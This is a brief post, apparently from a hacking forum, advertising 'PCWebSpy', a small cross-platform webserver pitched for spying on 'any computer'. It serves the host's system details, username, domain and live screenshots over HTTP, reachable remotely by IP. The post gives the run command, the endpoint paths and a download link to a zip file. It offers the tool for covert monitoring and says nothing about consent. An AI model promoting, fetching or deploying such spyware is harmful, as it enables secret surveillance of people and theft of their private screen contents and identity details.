Use PCWebSpy to spy on any computer.

PCWebSpy is a mini webserver that runs from the command line of your computer. The web server will return basic system information, username, userdomain and a screenshot everytime the browser is refreshed. This software also support Linux, Mac OSX and Windows as it's developed in Mono.

You can either run the already compiled EXE file or customized the code for your own needs. If you do run the EXE as is, browse to http://localhost:5050/sysinfo to get the proper page. The screenshot can be taken directly be going to http://localhost:5050/screenshot, or replace localhost with the IP address or hostname of the host you are running the software on.

The EXE can be run using the mono command: mono pcwebspy.exe

http://www.hackerforums.org/downloads/PcWebSpy.zip